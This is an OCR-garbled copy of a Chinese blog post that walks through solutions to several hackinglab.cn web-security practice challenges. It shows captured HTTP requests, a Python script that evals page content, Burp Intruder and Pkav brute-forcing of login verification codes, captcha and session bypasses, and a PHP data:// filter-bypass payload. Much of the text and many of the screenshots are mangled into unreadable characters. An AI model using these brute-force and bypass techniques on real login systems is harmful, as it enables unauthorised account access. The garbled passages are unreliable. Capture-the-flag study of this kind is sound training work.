CTF-M %5 B 2 &P % & (H4K)

> WEHF R F 2020-07-02 23:43:25 K A 1236 Wi 5
NRER: #NEEEREREI %] FE CTE L EHRE: xss &4
WA S B . A SONTE R R AISCE, B1E CC 4.0 BY-SA FRAUMMYL, i LR SCH b mA S,

ACEERE: https://blog.csdn.net/weixin_41924764/article/details/107053784
KA

4 RIE 2T
RICEE

20 FCE 29T
ITHER

AP PS


https://blog.csdn.net/weixin_41924764
https://blog.csdn.net/weixin_41924764/category_10215880.html
https://blog.csdn.net/weixin_41924764/category_10147922.html
https://so.csdn.net/so/search/s.do?q=xss&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_41924764/article/details/107053784
https://blog.csdn.net/weixin_41924764/category_10215880.html
https://blog.csdn.net/weixin_41924764/category_10147922.html

Ft—x
Ft=x
BH=x
ERllllPS
FHHRRK

B HLhE:  http:/hackinglab.cn

B—R


http://hackinglab.cn

A

key X N AF T

keys>-{&: 200

key/NIXIRR T, keyXHRABI T 1 1 keyWl, IRIFTEHEI TR, A ARFBNW I EARAW 111

Writeup:

M (FEXEHkey ) MBS, RinhH, EFsend to Repeater

_FlixEikkey

N

Burp Project Intruder Repeater Window Help

B! Burp Suite Professional ¥2.1 - Tempaorary Project - licensed to surfergz

[ Dashboard ITarget I Proxy I Intruder T Repeater I Sequencer T Decoder I Comparer T Extender T_F

J Intercept I HTTP history T WebSockets history I Options ]

/ Request to http://lab1.xseclab.com:80 [220.181.136.174]

[ Forward J [ Drop

j RawT Params T Headers T Hex }

J [ Intercept is on 1 Action

Host: lab 1 xseclab_com

GET /fxs51_300cB8668cd453e7e3587c7 6013201 40bb /search_key.php HTTR/1.1

RiigoREHEA)E, ERERATEkeyE

_FlixEtkkey

BR

Burp Project Intruder Repeater Window Help

User-Agent: Mozilla/5.0 (Windo Scan

Accept: text/htrml.application/x Send to Intruder Cirl+l

Acceptlanguage: zh-CN,zh; g3

AcceptEncoding: gzip, deflate gl cheaiey Ll

Connection: close Send to Sequencer

Referer: hitp://lab] . xseclab.con Send to Comparer

Cookie: UM_distinctid=172flo95f Sand to Decoder

Upgrade-nsecure-Requests: | ] !
Request in browser > |

irefox/77.0
/*o=0.8
2

cdex.php

FSf783575; CNIZDA

[ Dashboard TTargel I Proxy I Intruder IRepeater T Sequencer I Decoder T Comparer I Extender I Project options T User options IAuthz ]

Go Cancel Ll > |

Target: http://lab1.xseclab.c

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; xé4; rv:77.0) Gecko/20100101
Firefox/77.0

Accept

text/hirnl.application/xhtrml+xml. applicationfxml:gq=0.9.image/wsbp, */* ¢=0.8
Acceptlanguage: zh-CN,zh;q=0.8,zh-TW;¢=0.7.zh-HK; q=0.5,en-U 5 g=0.3,en;q=0.2
AcceptEncoding: gzip, deflate

Connection: close

Referer:

http://labl xseclab.com/xss]_30acissicd453e7e387c76b1320140bb/index.php
Cookie:

Um_distineticd=172fb9 5f7825c8-05087 b c1 7247 as-4c302¢7 c-1fad00-172f 9 5f 78357 5;
CHIIDATA261728562=15826344] 7015933538585 %7C1 593359285
Upgrade-nsecure-Requests: 1

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]
GET fxss1_30aclssicd453e7e287 7601320 140bb/search_key.php HTTR/1.1 HTTR/1.1 200 CK
Host: lak ] xseclab.com Server: nginx

Date: Tue, 20 Jun 2020 14:32:5] GMT
Content-Type: text/hitml
Connection: close

Vi 3832

Content-Length: 74

ey_is_h
kevy is : yougotit_script_now

ere_forever php'; </script>



A :
PEOHE
43-1H: 350
NHESI—A AR, EREMABERBRECDENNEE, 2D AMEERIISER, ERDMHARRE—ANE

Writeup:
BRPDSRF —XREARAE, LYRBMNATHEERATRTERN, BEHES Npythonfi4, TEBUXBHEARM, )5 tH2F HEAR
R, RRZEEFREGHALLE Flkeyld

X EBEFHB T requeststEE R CEE H , 4R 5 F) F re 8 4 UL e & AR R

import requests,re

r = requests.Session()
url="http://labl.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075bel/index.php"’
html=r.get(url).content

results=eval(re.findall( ' ([©-9].%)=<",html)[0])

data = {'v':results;}
print r.post(url,data=data).text

=R

A :
XA E 2T
43-{H: 100
TipsX MR H EARMEFERER . a4 RENR? @XRMhE: BF, BEHERTEZR(NSEIW)

Writeup:
H A ARFEFIEZ S AZAnul, nullgh2 EFRER

DS



ﬁ E :
EBABMRANH Hkeyl ?
431H: 150
WAV R4 FRF R 5%

Writeup:
BEERE, "TLEZ

<html >
<head>
<meta http-equiv="content-type” content="text/html;charset=utf-§">
dscript>

function alert(a)
return false;

i

document. write=function() {
return false;

1

function prompt(a) [
return false;

n O{
on(p, a, ¢, k, &,r) fe=function(c) freturn(c<a?’’ :e(parseInt(c/a))) +((c=cHa)¥357Strine. fronCharCade(c+29) :c. toString (36)} ;if (

N
ey is first 14 chars’+d);

1
ser
</head>
<body>
<a href="javascriptia(); >_MELAELRR LT FUIFMEEER? (>
</body>
</himl>

BUEANmISCE, ARSI TR, LERIERTHEE L — R

1" .replace(/"/, String)) luhile(c--)rle(c)]=klc] | |e(c) k=[function(e) return r[e]}];e=fu

) 1html - i3=&
P FSRE B0 =EENM EEH
<script>

var b=function{p.a,c.k.e,r){e=function(c){return{c<a?":e(parselnt(c/a))) +((c=c%a)= 35?String.fromCharCode(c+29):c.toS
AAATERREHA TR AR R T AR R RO R AR T EA ATV AL EARE AR RRRRR LARRA AR RANARRAAS Q\‘\f\\\\\'] ' k [C]]_;A P}(\\\\\\\'j[(h (packenie
DTy AN 0.00).62, 98, NN nnireturnffunction|String|ifjreplacefwhile|{fromCharcCo

var d=eval(b);
alert("key is first 14 chars "+d.substr(0,14));
</script>]

MRS

alert("key is first 14 chars "+d.substr(0,14));

FH 30 %5 384T FFhtmI SOt BE# i key B T

key is first 14 chars slakfjteslkjsd

hitps://blog.csdn.netfweixin_41924764

FhK

)@ E:
2 LG IERD 235 — HA
43{H: 100
EHHBRAERS, FERAMEER—HG?



Writeup:

BAERG RS, HANRGEATUEIFRR: BREEDRMIAHTH, F—MAR0
RERMMAERKIK S MERXRIENE, —BERifigokE, WUEIRIEMIFEAERN, HH—HRmpwd error, #HBR

ERMNAZRFFLHSE, BIEMBAS RN

[ Dashboard I Target I Proxy I Intruder I Repeater T Sequencer I Decoder I Comparer I Extender I Project options I User options I Authz ]

1% |2 = |3 = | 4=

Go Cancel < |v 2|

Request

JRaw T Params I Headers | Hex

Target: http://lab1.xseclab.com é

Response

J Raw T Headers | Hex | Render ]

2O5T fveodel _bofef7eacf7badcédaaf1 8844cdbl cdé/login.php HTTP/1.1

Host: labl xseclab.com

Jser-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; xé4; rv:77.0) Gecko /20100101
Firefox/77.0

sccept

ext/hitml, application/shtml+eml, application/ml:g=0.9.image/webp,*/* ¢=0.8
Scceptlanguage: zh-CN.zh; g=0.8,zh-TW; g=0.7 zh-HK;q=0.5,en-U 5:q=0.3,en;g=0.2
scceptEncoding: gzip, deflate

ZontentType: application/xwww-forrm-urlencoded

Zontent-Length: 48

Drigin: http://labl.xseclab.com

Zonnection: close

Referer:

tp:/flabl xseclab.com/veodel _bofef7eacf7badcédaaf] 8844cdb 1 cdé/index.php
Zookie:

I _distinetict=172fb P 5f7825c8-0508%b c1 7267 as-4c302c7 c-1fa400-1 7 2fb 9 5f 78357 5;
CNIIDATA126]1728562=1826844170-1 59335388527 C1 593359285;
*HPSESSID=07b98c] 1e85d2383b del63aclal f0SF

Jpgradednsecure-Reguests: |

Jsername=admin&pwd=1111&vcode=J8F8&submit=subrnit

Fgik Fsend to intruder( % B BB ER)

HTTP/1.1 200 CK

Server: nginx

Date: Tue, 30 Jun 2020 16:58:58 GMT

Content-Type: text/htrnl; charset=utf-&

Connection: close

Expires: Thu, 19 Mov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, mustrevalidate, post-check=0, pre-check=0
Fragma: no-cache

Via: 3832

ContentLength: ¢

pwd error

POST fvcodel_bofef7eacfTbadesdaaf1 8844cdb] cdé/login.php HTTRP/1.1

Host: lab 1 xseclab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé4; rv:77.0) Gecko/2010010

Firefox/77.0

HTTP/1.1 200 CK
Server: nginx
Date: Tue, 30 Jun 2020 14:58:58 GMT

L

Accept
text/htrmnl, application/=html+xml.applica
Acceptlanguage: zh-CM,zh;g=0.8,zh-T
AccepiEncoding: gzip, deflate
Content-Type: application/x-www-arm-
Content-Length: 43

Crigin: http://lab] xseclab.com
Connection: close

Send to Sequencer
Send to Comparer

Send to Decoder

Content-Type: text/html; charset=utf-5
Connection: close

Ctrl+| Expiras: Thu, 19 MNov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, mi
Fragma: no-cache

Via: 3832

Content-Length: ¢

pwd error

Referer:
http://lak) xseclab.com/fveodel _befef]]
Cookie:

Un distinctid=172fb95f782525-0508%b a1

1.3%&#¥Clear (BRI EICIERIRIS)
2. AR AR I 1D
3.miAdd (FRic 7 EEBAIE)D

Show response in browser
Request in browser >

Send request(s) to Authz

Attack type: lSniper

D

Host: lab] xseclab.com

AcceptEncoding: gzip, deflate

Content-Length: 48
Crigin: http://lab1 xseclab.com
Connection: close

ContentType: application/xwww-form-urlencoded

POST fvcodel_bcfef7eacf7badcédaaf] 8844cdbl cdé/login.php HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd: xé4; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html application/shtml+xml,application/xml:g=0.9,image/webp, */* g=0.8
Acceptlanguage: zh-CN,zh;q=0.8,zh-TW; g=0.7.zh-HK;q=0.5,en-U5;q=0.3,en;g=0.2

: T
Clear §

1 T
Refresh




Reterar: NMp://1ab | Xseclan.com/veode | _Dolel/each /Dadce4adr | 5544 | C4é/INdex.php

Cookie: UM_distinctic=172fb95f7825c8-0508% 021 7247 aé-4c302c7 d-1fa400-1 7 2f b 9 5f 78357 5;
CNIIDATA1261728562=1826844170-1593353885-%7C1 593359 285; PHPSESSID=07b98c] 1285d2383b dc263ac0e P05
Upgrade-nsecure-Requests: 1 / 2

username=admin&pwd=§ 1111 § &vcode=J8F8&submit=subrnit

1.3%#Fpayloads (5 B A TR0 258G i R0 )

2.1 FNumbers (BRI HRBD

3.fromEMNELFE, toRBIZ LR

step R FBBHMM, R E20E, bt 1000, 1002, 1004, SXFRE N 28T BB G2 E 143
B, EFENMRERKALSEELR, TLRHENEHME

4 St —Rhex B M diDecimal GX—3H&A T RIFBAIRBHFIFN, BXAK, MREAFITX—PHIE, payload count

HeaE—HANO

[ Target [ Positions

Payloads

Options }

Payload set:

@ Payload Sets 1

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payl:
each payload set, and each payload type can be customized in different ways.

|1

|v] Payload count: 9,000

Payload type:

lNumhers

| v] ZRequest count: 9,000

MNumber range
Type:

From:
To:
Step:

How many:

Mumber format

Base:

@ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

® Sequential (_) Random

1000

9999

‘ 1

4
"’

(® Decimal () Hex

Min intener dinite-

A X AR Start attack (JFERRME)

Target I Positions TPayioads T Options ]

® Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for

Start attack

each payload set, and each payload type can be customized in different ways.

Payload set: l 1

o Payload count: 9,000

Payload type: l MNumbers

= Request count: 9,000

® Payload Options [Numbers]

This pavload tvpe generates numeric pavloads within a given range and in a specified format.

BBERE, midilength (— B8 Rl BUD MBS 45 R 1R (B RLE R AN — T, BT B — A IR EHE SRR R — 2 8 il ATl
#) ., BEEHFELREES, BWEBkey



EOMLLAI AT

| Resuls | Target | Positions | Payloads | Options |

| Filter- Showing all tems

Daote: Tue, 30 Jun 2020 17:19:30 GmMT
ContentType: text/himl; charset=uif-&
Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no-cache
Wia: 3832
Content-Length: 22

key is LILIL789sdf# @sd

FBINK

BH:
B LIS RRS 38 — 3
43+E: 150
U5 F 88 2K 280 ) S VE 5
Writeup:

ERWUERD R, JUE K R BRI IERS B, BReSed

Cache-Control: nostore, ne-cache, mustrevalidate, post-check=0, pre-check=0

Request | Payload Status | Error |'I'|mem.|t| Length ¥ Comment
239 11238 200 O L 320
0 200 O J 306 L%'b i’lﬁ EE
1 1000 200 [ LJ 306
2 1001 200 (] L 306
3 1002 200 [ U 306
4 1003 200 (] L] 306
5 1004 200 ] U 306
6 1005 200 (] LJ 306
7 1006 200 ] U 306
B 1007 200 (] LJ 306
[ Request | Response
J Raw I Headers I Hex ] Render ]
HITR/1.1 200 CK
Server: nginx

POST fvcodel_aéesbaclbd7c81 87007 debXbabcleds/ login.php HTTP/1.1

Host: lab xseclab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; xé4; rv:77.0) Gecko/20100107
Firefox/77.0

Accept

text/hirmnl. application/xhtml+xml.application/xmlg=0.9.image/webp.*/*:q=0.8
Acceptlanguage: zh-CM . zh;g=0.8.zh-TW;q=0.7,zh-HK:q=0.5,en-U%:q=0.3,en;gq=0.2
AcceptEncoding: gzip, deflate

Content-Type: application/xwww-form-urlencoded

ContentLength: 44

Origin: hitp://labl xseclab.com

Connection: close

Referer:

http://lab] xseclab.com/fveode?_aéesbaclb47c8187b0%deb0babaleds/index.php
Cookie

UM_distinctid=172fb95f7625c28-0508%0 c1 72670 6-4c302c7 d-1fa400-1 7 2f P 578357 5:
CMNIIDATA] 261728562=1826844170-1 593353885-%7C1 573357285,
PHPSESSID=07b%8c] 1e85d2383bdc243aclel fR0SF

Upgrade-Insecure-Requests: 1

username=admin&pwd=111]&vcode=&submit=subrnit

IR E— SR BB, BT Elkey

T

HTTP/1.1 200 0K

Server: nginx

Date: Tue, 30 Jun 2020 17:33:31 GMT

Content-Type: text/himl: charset=utf-&

Connection: close

Expires: Thu, 19 Mow 1981 08:52:00 GhT

Cache-Conftrol: no-store, no-cache, mustrevalidate, post-check=0, pre-check
Pragmea: no-cache

Via: 3832

ContentLength: 9

pwd error



LR S

RRH :
E ARG S =8 (SESSION)
43{H: 150
JB3, BAERSE AR IXFEE. .
IO UERD M BOX AR, R BB ?

Writeup:

ERWUERD R, X7 B Hcookie—#EMIER (cookie X ILAE —MRIUERD, FF7ELIEEIER, —MRUENAE —R/ERARE

HEMEMHT, FrilZEFcookie— xRN T

POST /vcoded_%dleaiads52ad?3c04ad37e080801 7097 /login.php HTTP/1.1

Host: lab ] .xseclab.com

User-Agent: Mozilla/ 5.0 (Windows NT 10.0; Winé4; xé4; rv:77.0) Gecko/20100101
Firefox/77.0

Accept

text/hitrnl, application/xhtml+xml, application/xml g=0.9.image/webp, */* g=0.8
AcceptLanguage: zh-CN.zh;g=0.8,zh-TW; q=0.7.zh-HK; g=0.5,en-U 5;g=0.3,en;q=0.2
AcceptEncoding: gzip, deflate

Content-Type: application/xwww-forrm-urlencoded

Content-Length: 44

Crigin: hitp://lab] xseclab.com

Connection: close

Referer:

hitp://labl.xseclab.com/veode3_9dl eaad52ad93c04a837e08080 17097 /findex.php
Cookie:

Upgrade-nsecure-Requests: |

username=admin&pwd=1111pvcode=a4ubrit=submif|

SRS AL TR AR T RO TR, R AT 3R Hkey

B/INK

L

HTTP/1.1 200 CK

Server: nginx

Date: Tue, 30 Jun 2020 17:39:30 GMT

Content-Type: text/himl; charset=utf-&

Connection: close

Expiras: Thu, 19 Mov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, mustrevalidate, post-check=0, pre-check=0
Pragma: no-cache

Via: 3832

Set-Cookie: PHPSESID=5%fa2707b&6abc9918949bfcesséasiT: path=/: HitpOnly
Content-Length: 9

pwd error



A
ME—THEEEXT
43-E: 150
JeFS, b B RE IR AR TG H R .

Writeup:
php P B30
BEEVRARE 7] DUE B — /MR, S nr DUE 2IVRD

where is your gmile

1EEE DEss DEE NRE (JemssE O rF B &E 1 ZESE @ HackBar

HTML + A TiEEEs shov .l
TYPE htmlL> ~ TE O {

lang="en"» EZ T

3d= (=) </head> .loginform label {3 {
Iy display: block;
I color: @ #999;
e }
e #ES html
:z html 3 {

font-size: 18pt;

e 1
e

iiv class="loginform cf"»
i tbefore
<form name="login" action="index.php" method="POST" accept-
charset="utf-8">
w <ul»
w <1lix
w <label for="SMILE™>

<flabel>

A] LLE EphpI&fs:



<?php
header("Content-type: text/html; charset=utf-8");
if (isset($_GET['view-source'])) {
show_source(__FILE_ );

?>

RER MINT. % $UF hitp https ftp telnet _ IR ITHEF] T, $smilefmh£ R0

if

exit();

include('flag.php');

$smile

1;

if (!isset ($_GET['~_~'])) $smile = O;

if
if
if
if
if
if
if
if
if

if

(preg_match
(preg_match
(preg_match
(preg_match
(preg_match
(preg_match
(preg_match
(preg_match
($smile) {

if (@file_exists ($ GET['A ~"])) %smile

($smile) {

"/\./', $_GET['~_~'])) $smile = O;
"/%/', $_GET['~_~"]1)) $smile = 0;

'/[0-9]1/", $_GET['~_~'])) $smile = @;
"/http/', $_GET['~_~']) ) $smile = ©;
"/https/', $_GET['~_~"]) ) $smile = 0;
"/ftp/', $_GET['~_~"])) $smile = @;

'/telnet/', $_GET['~_"'])) $smile = 0;

'/_/', $_SERVER['QUERY_STRING'])) $smile

9;

$smile = @file_get_contents (% GET['~ ~']);
if ($smile === "(eo'-'@)") die($flag);

0,

(lisset (3_GETC "_7"1)) 3smile = 0O;
if f(preg match O /%0, $.GET[ " " 11) 3%smile = O
if f(preg_match O /%/, $.GET[ "_7 1)) 3smile = O
if (preg_match O /[0-9]1/, $.GET["_""1)) Ssmile = 0O
if f(preg_match (O /http/, S$.GETC"_71) ) %smile = O
if (preg_match (" /https/, S.GET[C"_7"1) )1 $smile =
if (preg_match O /ftp/, GF.GETC "_7" 1)) Jsmile = 0O
if (prez_match 1 ftelnet/, 3. GET["_ "7 1)) %smile = 0
if f(preg_match (' /_/, $_SERVER[ QUERY_STRING 1)) Jsmile

St LIE TY r

0,



file_exists() R H & FIWi XMHFAFLE, WMRAFE, WiREfalse, WHRAFIEIREtrue.
BX B TifRM, mREXMHEE, Nsmile=0

if  (Fsmile) 1
if (@file_exists (3. GET["_7"11) %smile = O
}

s PR r

file_get_contents()iE A XN — AN FR/F B B HBRIIFAME XML, THAXHEZAREST (o' o) Nidatathi AT LASZEL
XEHE

it (femile) |
Jemile = @file_set_contents (F.GET[ "_7"1);
if (fsmile === “(@ . @7 die(fflag);

1L, KA ASILE TR R AR, o LA A ulgs st
2. databhifER 7%, RS —F 5 R A A B3R Hflag

data:, <3CA¥HE>

data:text/plain, <3CAHHE>

data:text/html, <HTMLARES>

data:text/html;base64, <base64dmidHKIHTMLALHS >
data:text/css,<CSSARAE>
data:text/css;base64,<base64%midHICSSAHG>
data:text/javascript,<Javascriptf{ig>
data:text/javascript;base64, <base64ZmigfIJavascript{iid>
data:image/gif;base64,base64dmiLfigif B HiiE
data:image/png;base64,base64dmtLfipng B H HiiE
data:image/jpeg;base64,base644mi5 K jpeg B A HiE
data:image/x-icon;base64,base644mtLficon® A $iiE

payload:

?r%5f =data:, (e' ')

AIFEBRTE W PyPl - The Python Pa..

H:

E L F LR AERD

4r{E: 150

PREIFHL S5/ 13388886666, WiF¥ & A& KR REA

&

Writeup:
RAIERD 5 FHL 5 R E IRTR
S A BATO TS BT B FE



fh& 53R, 7 EH13388886667% AN FH 5 B i

please login af 13388886667

BAVRERIA SRR, AR FEILS EHRR— T RUED,

RGBSR FHL S S ~13388886667

{FFHEIZE: 13388586666 ,iSFHATHISSWRIFEE,
Phoner 13388886667

Vcode:

3536

FATEREEAAGERS | submit |

R 2 JE R AT LAE BlkeylE T




key is UULGod!@@sd

— R U A 5 B IERS AN REAE A — IR, BERSFIFHL S REEE, KRS — B A .
I} T TG AT At IR T R AR FT LAWLE DA T &
https://blog.csdn.net/Sunnyyou201 1/article/details/79803481

Btx

A :

EEREN 2 A

43{E: 150

TipsiRR— % BE, WK (B/&) BEWHNT, REZBTAFIMN EEWTEEESR, —HRARK! HEFN
515:13388886666

Writeup:
B UERD R IR R S5 S AR X G UE B 8] R B AT BR 1
HANBH, SERRRIENE, RAKIEMESAE, ALI0JFk

FHRIEES: BFSEEFNLT, REFA.SaussF, FLAFHR0

BN E, S8R, KiESintruder#HTIBH

M HTTP history | WebSockets history | Options |
BEAFNEEEISE

TipsARE—BEE, {RIFEIF " / Request to http:/flab1 xseclab.com:80 [220.181.136.174]

EEFH1S%2:13388886666 - -
Forward Dr Acti

Phone: 13388886666 [ onvar ] [ s ] [ Intercept is on J [ on

Vcode: [111 H Params T Headers | Hex

SRR AEES | submit | POST /vcodes._mobi_b46772933eb4cBb 51 75c47dbc44d8901 login php HTTR/1.1

Host: lab1.xseclab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé4; rv:77.0] Gecko /20100107 Firefox/77.0
Accept: text/himl.application/xhirl+xml. application/xml;g=0.9,image/webp. */*g=0.8
Acceptlanguage: zh-CH.zh:gq=0.8.zh-TW:q=0.7.zh-HK:q=0.5.en-US:g=0.3.en:q
AcceptEncoding: gzip, deflate

Content-Type: application/xwww-form-urlencoded
Content-Length: 43

Crigin: hitp://labl xseclab.com

Connection: close

| Scan |

end to Repeater [+

Send to Sequencer


https://blog.csdn.net/Sunnyyou2011/article/details/79803481

Referer: hitp://lab] xseclab.com/veodes_mobi_b46772933eb4c8b 51 75c47db
Cookie: UM_distinctid=172fb? 5f7825c8-0508% b 21 7247 é-4c302¢7 d-1f0400-1 721
PHPSESSID=2dl40c80352b 89443096091 77cde850d?
Upgrade-nsecure-Requests: 1

username=1338888446668 veode=111 &Login=submit

Send to Comparer

Send to Decoder
Request in browser
Send request(s) to Authz
Engagement tools
Change request method
Change body encoding

AL SATIR VA
Attack type: | Sniper I*)
POST fvcodeé_mobi_b44772933eb4c8b 51 75c67 dbed4d@901/login.php HTTR/1.1 :

Host: lab] xseclab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winsd; xé4; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/himl, application/shtrml+xmlapplication/=ml;g=0.9.image/webp, */*:g=0.8
Acceptlanguage: zh-Ch.zh;q=0.8,zh-TW; g=0.7.zh-HK: g=0.5,en-U 5;:¢=0.3,en;q=0.2
AcceptEncoding: gzip, deflate

ContentType: application/xwww-form-urlencoded

Content-Length: 43

Crigin: hftp://lab xseclab.com

Connection: close

Referer: hitp://lab] xseclab.com/fveodes_mobi_bb46772933ab4c8b 5175247 cdb 448901/
Cookie: UM_distinctid=172fb 9 5f7825c8-0508% b 217267 0 &-4c302c7 d-1fa400-1 7 2 9578357 5;
CHIIDATA1261728562=1826844170-1 593353885 %7C1 593359285, PHPSESIID=2c40c8a0352bc89 44309409177 de850d?
Upgrade-nsecure-Requests: |

username=133888844668 vecoe=§ 111 § &Lggin=submit

WEFH T ZRKKE, B U EEAT R T

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack t
each payload set, and each payload type can be customized in different ways.

Payload set: [1 |v] Payload count: 900

Payload typf: lNumhers |v] Request count: 900

@ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: ® Sequential () Random
From: 100

To: 999

Step: 1

How many:

Number format

W EF R BAERS IR, g T F—AMRR, HERNEEM13399999999FHl %

593353885

Add §

Clear §
Auto §
Refresh

Request | Payload Status | Errar |'I'|meout | Length ‘r| Comment
67 166 200 g L] 502
0 200 O [ 3
1 100 200 O L =
2 101 200 O [ 3
3 102 200 O L =



4 103 200 L] L[] 3
5 104 200 O ] 32
& 105 200 O ] 32
7 106 200 O ] 32
8 107 200 O ] 32

H Headers T Hex T Render ]

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 01 Jul 202001:20:26 GMT

ContentType: text/himl: charset=utf-2

Connection: close

Expires: Thu, 19 Mov 1981 08:52:00 GIMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Vig: 3832

Content-Length: 203

PR{A-CBY 2= 3 fth/ iE ZHE. . TFETROBERERTRIFM (B/%) BE8#E, 2T2EEIINEHE. <br>
BI{EROFH S EEE 13399999999

FIFIRIAHIFRO Tk, 13399999900 HL B MU UERS, MY VERS AL 31 )R B A Slkey
Ft—xK

ﬁ E H
IS ERD IR 71
431H: 350
IS ERD IR 1
Tips: I IERD KSR &2 307 H

Writeup:
FI A SRR R ) T B4R 5 AT 1R
FFHTE: PkavHTTP Fuzzer

BENEEY, SoIREUKAERS

BAFHUIRUER AR B A RUERS, /G HATINE



EERBLIRIES?

W Burp Suite Professional v2.1 - Temporary Project - licensed to surferxyz

Tips:3&FRSREI
E=nF=h 13355886656—‘ Burp Project Intruder Repeater Window Help

FAHIAERD: 111 [ Dashboard ITargeL ]' Proxy T Intruder I Repeater I Sequencer I Decoder T Comparer I Extender T Project options I User options IAuthz ]
FEEIATES

[N h J Intercept I HTTP history IWehSockets history I Options ]

7477 submit f Request to http://lab1.xseclab.com:80 [220.181.136.174]

Raw | Params | Headers | Hex

l Forward J l Drop J [ Intercept is on ] Action Comime

POST fvcode7_f7947d 56221 33dbc85d dadf28530268/ login.php HTTP/1.1

Host: labl.xseclab.com

User-Agent: Mozilla/5.0 (Windeows NT 10.0; Winéd: xé4; rv:77.0) Gecko /20100101 Firsfox/77.0
Accept: text/html. application/xhtml+xml.application/xml:g=0.%.image/webp.*/*g=0.8
Acceptlanguage: zh-CN,zh;g=0.8,zh-TW;q=0.7.zh-HK; q=0.5,en-US:g=0.3,en;g=0.2
AcceptEnceding: grip, deflate

ContentType: application/xwww-form-urlencoded

Content-Length: 62

Origin: http://lab] xseclab.com

Connection: close

Referer: http://labl xseclab.corn/veode?_f7947c54f221 33cboB5dd a4f 28520248 ind ex. php

Cookie: UM_distinctid=172fb 9 5f7825c8-0508%b c1 7267 a6-4c302c7 d-1fa400-1 72b 9 5F 783575 CNIZDATA1 261 728562=1824844) 70-1 593353885-%7C 1 593359285;
PHPSESSID=b01 cadadbfdéd 70888977 ef d6acciefl

Upgrade-nsecure-Requests: 1

usermname=1333385844668mobi_code=1112&user_code=1111&Legin=submit

5 PR A 3| Pkav HTTP Fuzzer , #Ric 3 EER 1E

i Pkav HTTP Fuzzer 1.5.6 Verkey@PkavE2El, FREFREZZNGEER FEPKAVEERMR! Ohttp://waww.pkav.net

Birdie
Hf

| =T
HFE:

POST fweodeT_£7947d06£22133dbe8bddadf 28630268, login. php HITPS1. 1

Host: labl.xz=zeclab. com

User—hgent: Mozilla/5.0 (Windows NT 10.0; Winfd; =64; rv: 77.0) Gecko/20100101 Firefox/77.0
Accept: text/html, application/zhtml4zml, application/zmnl;q=0.9, imagze/webp, /% ;q=0. 8
Accept-Language: zh—CH, zh;g=0. 8, zh-TW;g=0. 7, zh-HE ;q=0. 5, en-T3;g=0. 3, en; g=0. 2

bocept—-Encoding: gzip, deflate

Content-Type: application/z—www—form—urlencoded

Content—-Length: #2

Origin: http://labl.z=eclab.com

Connection: close

Referer: http://labl.x=zeclab. com/vcodeT £7947d06£22133dbeBbddadf 28630268/ index. php

Cookie: TM_diztinctid=172fb95f7820c8-058089bcl T2ATaR—4c302cTd-1fad00-1T2fbB0FTE30TE; CNIIDATAIZGELT

28B62=1826844170-1593353886-%TC1693369285; PHPSESSID=b0lcafadbfd6dT08889T7 Tefffecciet
Upzrade—Inzecure-Requestsz: 1

uzername=133850886666kmobi_codé=8 111 § fuser cod ogin=zubmit




FIRTIR A | | B )

o ) emla LTl m P LFET | i ATl e P =— 1 sueT 04 Lod

TEPkav HTTP Fuzzer £ 141 ¥ B8 FHLIGTERD 1) 7 S 30 )

B T T B B T e £ R SR

| ERE

FZBR30268/ Login. php HITE/L. L

10.0; Winfid: x64; rv: 77.0) Gecko/20100101 Firefox/77.0
anl, application/xml; g=0. 9, image/webp, */+;3=0. 8
W¥.q=0.7, zh-HK;q=0. 5, en-US5;q=0. 3, en;g=0. 2

-urlencoded

de7_f7947d56£22133dbo85ddadf 28630268/ index. php
-0508%bcl T26Tafi-40302cTd-1£a400- 1 T2fEREETE30TE,; CNIZDATALZA1T
59286, PHPSESSID=b0lcaladbfdfdT088897Tefbbeccietl

§ fuzer_code= § YINE &Login=zubmit

RSP AT T

74z- -
FEFETH TSN
FEBTTRESW)
FERABELITTHEEER)
AHEESEMBEL)
MEEERETHHK). .
SSissStnhA)

EEEED
ExEEl)
E5E s O)
SFEERN..
A EERR(G)...
EEREEE0E
EEpEERhaE(D) 2
HETEQ)

) Proxy SwitchyOmega »

R F e A IR )
1.3 F B A RAERD IR 7
2 BB RS B A ikt
3 BEIRH FTHF
485 B Rk

EEET ()

FASIEERRIR (D) | | BERIA )
Sz
Bl | ERSEEED
HHIRE: |1 v | | #EEE R
7y

- [1oo B

=) 99 :

g :

e ! -

@ IiFES @+ @ FHE
Omiast O +7wl O HE

EIAE— R

g
Hiles
L¥#

T




® BRE

ISt
|http:fflabl.xseclab.comfvc0de?_E?94?dEGE22133dbcEEdda4E28530268fvcode.php

2

® BHIRBIGIE
R,
® B wFEH—H

O EEHFENG—R
O RosIRTEGRB1EM]

RALEE
O TRz
O M=

O gprrsis O —18F
O = ha—5
O ospE R BEITTESE

O Fosnz BT HE|
O Fos1socEIEE T E A E
O BRf—-83

==t aTH e
0123456759

3

O FE=AinA3 1%

® TFREIHNRAIE1E

O RN g5 &

| | hog..

R
|
BB
SRR RS N:
b0z
